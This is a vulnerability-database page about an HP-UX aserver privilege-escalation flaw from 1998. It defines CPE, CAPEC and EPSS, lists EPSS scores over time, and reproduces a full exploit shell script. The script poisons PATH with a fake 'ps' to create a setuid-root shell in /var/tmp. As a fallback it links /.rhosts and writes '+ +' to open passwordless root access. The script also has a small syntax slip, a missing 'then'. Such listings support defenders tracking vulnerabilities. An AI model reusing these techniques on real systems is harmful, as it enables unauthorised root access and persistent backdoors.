CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
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CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The October 1998 version of the HP-UX aserver program allows local users to gain privileges by specifying an alternate PATH which aserver uses to find the ps and grep commands.
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EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
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EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
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1.76%
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2022-03-27
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1.76%
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2022-04-03
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1.76%
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2022-04-17
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1.76%
–
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2022-08-28
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1.76%
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2023-03-05
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1.76%
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2023-03-12
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0.04%
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2024-06-02
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0.04%
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2025-01-19
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0.04%
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2025-03-18
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0.19%
2025-04-15
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0.19%
2025-04-15
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0.19,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
# source: https://www.securityfocus.com/bid/1929/info
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# Aserver is a server program that ships with HP-UX versions 10.x and above that is used to interface client applications with the audio hardware. Because it talks to hardware, it is installed setuid root by default.
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# During normal execution, Aserver executes "ps" via the system() libcall, relying on the PATH environment variable to do so. As a result, a user can modify their PATH environment variable so that it includes an arbitrary program called 'ps' before executing Aserver. When Aserver is run with the -f argument, the offending system() function will be called and the attacker's version of ps will be executed as root.
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# This is a trivial root compromise.
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#!/bin/sh
#
# HP-UX aserver.sh - Loneguard 18/10/98
# Simple no brainer path poison followed by a twist [ inspired by DC ;) ]
#
cd /var/tmp
cat < _EOF > ps
#!/bin/sh
cp /bin/csh /var/tmp/.foosh
chmod 4755 /var/tmp/.foosh
_EOF
chmod 755 ps
PATH=.:$PATH
/opt/audio/bin/Aserver -f
if [ -e /var/tmp/.foosh ]
# Hmmm, you not like that technique?
cd /tmp
rm last_uuid
ln -s /.rhosts last_uuid
/opt/audio/bin/Aserver -f
echo "+ +" > /.rhosts
# Haha, my Kungfu is the best!
fi
echo Crazy MONKEY!